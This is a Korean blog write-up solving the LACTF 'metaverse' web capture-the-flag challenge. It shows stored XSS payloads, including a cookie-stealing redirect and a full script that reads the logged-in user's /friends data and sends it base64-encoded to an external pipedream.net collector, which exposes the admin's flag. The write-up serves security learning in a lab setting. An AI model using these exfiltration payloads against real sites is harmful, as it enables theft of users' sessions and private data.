CTF/웹해킹

[LACTF] metaverse - 웹해킹 / 크로스사이트스크립트

SecurityMan 2023. 2. 26. 11:00

 

기존에 풀었던 XSS 문제보다 

 

조금 더 어려웠던 XSS 문제이다.

 

문제페이지 주소와 함께 소스코드인 index.js 파일이 주어진다.

 

반응형

 

 

문제 페이지는 크게 두가지 구성으로 되어있다.

 

회원가입하고 로그인 한 뒤 게시글을 작성할 수 있는 페이지와

 

 

관리자에게 특정 url을 전달해 해당 url로 관리자가 접속하도록하는 페이지가 있다.

 

문제 구성상 XSS 취약점이 존재하는 포인트를 찾아서

 

해당 url을 관리자에게 전달해 관리자의 중요 정보를 탈취하는 것이라고 생각했다.

 

 

우선 securityman 이라는 계정을 만들어서 로그인해 보았다.

 

특이한게 ID와 비밀번호 외에도 metadisplay name 이라는 값을 입력받는다.

 

const accounts = new Map();
accounts.set("admin", {
    password: adminpw,
    displayName: flag,
    posts: [],
    friends: [],
});

 

이 metadisplay name 의 정체는 주어진 index.js 파일을 보면 알 수 있다.

 

admin 의 displayName 에 flag 가 숨겨져 있는 것이었다.

 

XSS를 통해 이 값을 알아내면 된다.

 

 

로그인을 하면 내 친구 목록과 포스팅한 게시글을 보여주는 페이지가 나온다.

 

 

아무 계정이나 친구추가를 한번 해봤다.

 

그럼 보이는 것처럼 친구의 metadisplay name 와 ID가 같이 출력된다.

 

마지막에 있는 admin은 displayname 이 admin 이고 ID가 hahaha 이다.

 

진짜 admin을 추가해보려 했는데 당연하지만 잘 안됐다.

 

 

로그인한 상태로 쿠키값을 확인해 봤는데

 

내 ID와 displayname이 쿠키값으로 설정되어 있었다.

 

그럼 XSS를 통해 admin 의 쿠키값을 획득할 수 있다면

 

admin이 displayname 도 알아낼 수 있을것이다.

 

 

먼저 XSS 벡터를 찾기 위해 metaposts 에 

 

<script>alert(1)</script> 라고 써보았다.

 

 

그랬더니 XSS 취약점이 있어서 알림창이 떴다.

 

 

RequestBin(https://pipedream.com/)으로 가서 요청을 받아줄 주소를 하나 생성한 뒤

 

<script>document.location.href='RequestBin 주소?flag='+document.cookie</script>

 

라고 페이로드를 작성해 주었다.

 

 

그런 뒤에 작성한 게시물의 url 주소를 admin 봇에게 전달했는데

 

admin 봇이 XSS 취약점으로 인해 RequestBin 으로 접속했으나,

 

쿠키값을 가져오지 못하는 것을 발견했다.

 

 

뭔가 잘못됐나 싶어서 

 

F12를 눌러 개발자도구 콘솔창에 document.cookie 라고 입력해봤는데

 

역시나 내 쿠키값도 출력되지 않는것을 확인했다.

 

 

원인은 index.js 에서 찾았다.

 

쿠키에 대한 설정 중 httpOnly 속성이 true 라고 되어있을 경우

 

document.cookie 로 쿠키값을 확인할 수 없다고 한다.

 

<script>
   var req = new XMLHttpRequest(); 
   req.onload=reqListener; 
   var url="https://metaverse.lac.tf/friends"; 
   req.withCredentials=true; 
   req.open("GET",url,false); 
   req.send();
   function reqListener() {
      var req2=new XMLHttpRequest();
      const sess=this.responseText;
      req2.open("GET","https://eo27eziebphf7k.m.pipedream.net/?flag="+btoa(sess),false);
      req2.send()
   };
</script>

 

그래서 위와 같은 방법으로 페이로드를 구성했다.

 

admin 봇이 해당 스크립트에 접근할 경우

 

https://metaverse.lac.tf/friends 페이지로 이동하게 된다.

 

 

해당 페이지에서는 displayname과  username을 json 형태로 확인할 수 있다.

 

이 페이지의 내용을 sess 라는 변수에 저장하고,

 

그 값을 base64로 인코딩 한 뒤 flag 파라미터에 넣어서 RequestBin 주소로 접속하도록 만들었다.

 

 

이렇게 글을 쓰고,

 

 

해당 포스팅의 url을 admin 봇에게 전달하면

 

 

아까와 다르게 flag 파라미터에 base64 인코딩된 값이 들어있는게 보인다.

 

 

CyberChef(https://gchq.github.io/CyberChef/)에서 base64 디코딩을 해주면

 

admin의 displayname 에서 플래그를 찾을 수 있다.

반응형